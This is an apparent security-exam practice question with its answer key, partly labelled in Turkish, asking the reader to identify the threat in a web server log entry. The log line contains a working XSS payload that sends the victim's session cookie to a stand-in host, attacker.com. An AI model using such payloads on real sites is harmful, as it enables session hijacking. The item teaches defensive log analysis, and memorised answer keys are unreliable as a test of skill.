A security analyst is reviewing web server access logs aggregated by a central SIEM platform. The log inspection view displays the following entry:
`192.168.4.12 - - [27/Jul/2026:10:15:32 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`
Based on the payload contained in this log entry, which security threat is taking place?
- Cross-Site Scripting (XSS) attack attempting to hijack client session cookiesCevap
- BSQL injection attack attempting to bypass backend database authentication controls
- CAuthentication failure triggered by invalid account credentials
- DSIEM event correlation failure resulting from an improper normalization rule
Cevap
Cross-Site Scripting (XSS) attack attempting to hijack client session cookies
The correct answer identifies Cross-Site Scripting (XSS). The log snippet clearly shows an HTTP GET request carrying client-side JavaScript (`<script>document.location=...</script>`) in the query parameter `q`. This script accesses the victim's session cookie via `document.cookie` and attempts to send it to an external server (`attacker.com`).
Adım Adım Çözüm
Anahtar Kavram
Log Analysis and Web Attack Pattern Identification